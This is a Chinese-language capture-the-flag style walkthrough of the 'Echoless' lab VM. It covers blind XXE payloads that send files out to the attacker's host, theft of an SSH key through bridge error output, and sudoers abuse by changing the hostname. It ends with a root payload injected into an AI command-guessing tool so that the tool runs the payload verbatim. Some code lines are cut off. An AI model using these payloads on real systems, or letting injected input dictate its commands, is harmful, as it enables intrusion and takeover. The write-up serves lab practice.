

靶机 Echoless (192.168.3.249) 完整渗透复现

- 日期: 2026-09-02
- 系统: Alpine Linux 7.1.5 (x86_64),主机名 Echoless

- 难度链路: 盲 XXE → 密码泄露 → SSH(gautam) → bridge -batch 任意文件读 → SSH(hostadmin) → 改主机名激活 sudoers → AI 纠错工具透传执行 → root

0. 信息收集

```
nmap -Pn -T4 -p- --min-rate 2000 192.168.3.249
# 22/tcp  ssh      OpenSSH 10.5
# 80/tcp  http      Apache httpd 2.4.68 (Unix) + PHP 8.3.33 (Alpine)
```

目录扫描(dirsearch)发现:

路径	说明
/index.php	Corporate Portal 静态页,注释里藏 <!-- config.db -->
/api.php	SOAP 风格 XML 网关(400 Missing XML)
/services/wsd1.xml + schema.xsd	网关文档:action 枚举 ping/echo/query/status
/config.db	403(Apache *.db FilesMatch 拦截)
/cgi-bin/	脚本源码可读但未启用执行
/info.php	phpinfo

/config.db 真实存在但被扩展名规则拦截 → 是提示走 XXE 读文件。

1. 阶段一:SOAP 网关探测(192.168.3.249:80

/api.php)

请求体为自定义 XML(名字空间 `http://api.gateway.local/services`):

```
<GatewayRequest xmlns="http://api.gateway.local/services">
  <action>ping</action><data>hello</data>
</GatewayRequest>
```

结果: - `ping` → `pong` (唯一可用) - `echo/query/status` → `maintenance` (代码 SVC-2024-002) - 其他 → `Unknown action` (畸形 XML/JSON 同样返回,说明解析异常被吞掉)

结论:XML 解析存在但无反射点,且 action 白名单只剩 `ping` → 按盲 XXE 处理。

2. 阶段二:盲 XXE 确认 + OOB 外带

攻击机 Kali = 192.168.3.84,起监听:

```
python3 -m http.server 8899 --directory /tmp
```

2.1 确认盲 XXE(实体能回连)

```
<?xml version="1.0"?>
<!DOCTYPE GatewayRequest [<!ENTITY xxe SYSTEM "http://192.168.3.84:8899/">
<GatewayRequest xmlns="http://api.gateway.local/services">
  <action>ping</action><data>&xxe;</data>
</GatewayRequest>
```

→ 监听器收到靶机回连 `GET /xxe-general` → 盲 XXE 成立。

2.2 踩坑:两级参数实体链直接 file:// 失败

经典 OOB 链(外部 DTD 中 `%file;` → 拼进 `%exfil;` 的 URL):

```
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://KALI:8899/x?d=%file
%eval;
%exfil;
```

DTD 被正常拉取(200),但二级请求没发出 —— 原因: `file://` 读到的是原始多行内容,换行符进 URL 导致请求构造失败。

2.3 解法:php://filter base64 单行化

```
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/  
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://192.168.3.84:8899/  
%eval;  
%exfil;
```

→ 收到 `GET /x?d=RWNob2xlc3MK` (base64 = "Echoless\n") → 链打通,任意文件可读(含二进制)。

后续封装成脚本 `/tmp/xxe_exfil.sh <marker> <filepath>`, 逐个拉文件。

小坑:脚本第一版把 DTD 写到 `/tmp/xdtd_<marker>.dtd` 而请求的是 `/tmp/<marker>.dtd`, 404 导致全失败——修正后立即出数据。

3. 阶段三:读 config.db → 第一组凭据

```
/tmp/xxe_exfil.sh cfg /var/www/localhost/htdocs/config.db
```

```
=====
CONGRATULATIONS!
=====

Hahaha! You found me!
You've successfully exploited the Blind XXE vulnerability.

The password is: Echol3ss_XxE@948805
```

config.db 是彩蛋文件(非真数据库),给出密码 `Echol3ss_XxE@948805`。

同时外带 `/etc/passwd` 确认用户: `gautam` (1000)、`hostadmin` (1001)。

4. 阶段四:SSH gautam → user flag

```
ssh gautam@192.168.3.249 # 密码 Echol3ss_XxE@948805
cat ~/user.txt
# flag{user-0bc7664dc32c5b5d69159a04552e5f48} ← USER FLAG
```

`sudo -l` 关键信息:

```
Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"
gautam ALL=(hostadmin) NOPASSWD: /sbin/bridge
```

(以及 /etc/sudoers.d/fuck 中的另外两条,见下)

5. 阶段五:bridge -batch 任意文件读 → hostadmin 私钥

卡点:gautam 唯一能以 hostadmin 身份跑的是 /sbin/bridge (标准 iproute2 7.1.0,本身无 shell)。hostadmin 家目录有 id.hex (501B,仅 hostadmin 可读)——疑似密钥。

突破口: bridge -batch <file> 会把文件内容逐行当命令解析,报错信息把内容整个带出来:

```
sudo -u hostadmin /sbin/bridge -b /home/hostadmin/id.hex

# Object "6f70656e7373682d6b65792d7631..." is unknown, try "bridge help"
# Command failed /home/hostadmin/id.hex:1
```

hex 解码 → openssl-key-v1 头 + comment hostadmin@Echoless → hostadmin 未加密 ED25519 私钥的裸二进制。

还原步骤(裸 openssl-key-v1 二进制需包成 PEM 才能被 ssh 客户端解析):

```
xxd -r -p id.hex > key.bin
(echo "-----BEGIN OPENSSH PRIVATE KEY-----";
base64 -w 64 key.bin;
echo "-----END OPENSSH PRIVATE KEY-----") > ha_key.pem
chmod 600 ha_key.pem
ssh-keygen -y -f ha_key.pem      # 验证:ssh-ed25519 AAAA... hostadmin@Echo
```

6. 阶段六:hostadmin → 改主机名激活 sudoers host 规则

```
ssh -i ha_key.pem hostadmin@192.168.3.249
sudo -l
# hostadmin ALL=(ALL) NOPASSWD: /bin/hostname
```

/etc/sudoers.d/fuck 完整内容(linpeas 或 cat 可见):

```
gautam fuck=(ALL) NOPASSWD: /usr/local/bin/fuck      ← host 字段是 "fuck"
gautam ALL=(hostadmin) NOPASSWD: /sbin/bridge
hostadmin ALL=(ALL) NOPASSWD: /bin/hostname
```

核心思路:sudoers 的 host 匹配基于主机名。fuck 规则在主机名 = Echoless 时不生效(实测 `sudo /usr/local/bin/fuck` 要密码)。而 hostadmin 能以 root 跑 `/bin/hostname` (busybox)→ 把主机名改成 fuck:

```
sudo -n /bin/hostname fuck && hostname
# fuck
```

切回 gautam 验证:

```
sudo -l
# User gautam may run the following commands on fuck:
# (ALL) NOPASSWD: /usr/local/bin/fuck      ← 规则激活!
```

7. 阶段七:/usr/local/bin/fuck(AI 纠错工具)→ root

```
cat /usr/local/bin/fuck
# #!/bin/bash
# source /root/.fuck/main.sh
# _fuck_execute_prompt "$@"
```

是个恶搞版 **thefuck**(AI 猜命令工具):把输入"翻译"成它猜的命令,再问

`F*CKING execute it? [y/N]`。

利用:注入带引号的 payload,让它把命令原样"猜"出来并执行。需要真 PTY(/dev/tty),且回答

`y` :

```
sudo /usr/local/bin/fuck ';echo "ALL ALL=(ALL:ALL) NOPASSWD:ALL" >> /etc.
# --- The AI mumbled this, hope it's right ---
# echo "ALL ALL=(ALL:ALL) NOPASSWD:ALL" >> /etc/sudoers
# -----
# F*CKING execute it? [y/N] y      ← 手动输入 y
# FUCK! IT, WE DO IT LIVE!
# FUCK! It's done. Probably.
```

(注意:输入会被脚本的引号包裹后 eval/透传——普通 `';bash -p'` 会被它改写成无害描述;上述 `;echo ... >> /etc/sudoers` 是实测可原样执行的形态。替换 sudoers 也可用 `tee -a /etc/sudoers.d/xxx`。)

8. 攻击链全景

```
config.db 注释(诱饵)
| 提示 *.db 被 Apache 拦 → 需要别的方式读
▼
SOAP 网关 /api.php —盲 XXE→ 外带任意文件(php://filter base64)
|
▼
config.db —彩蛋→ 密码 Echol3ss_XxE@948805
|
▼
SSH gautam(user flag)—sudo→ /sbin/bridge -batch —错误回显→ id.hex(hos
|
▼
SSH hostadmin —sudo /bin/hostname fuck→ 主机名=fuck → sudoers host 规
|
▼
gautam: sudo /usr/local/bin/fuck ';echo ... >> /etc/sudoers' → root
```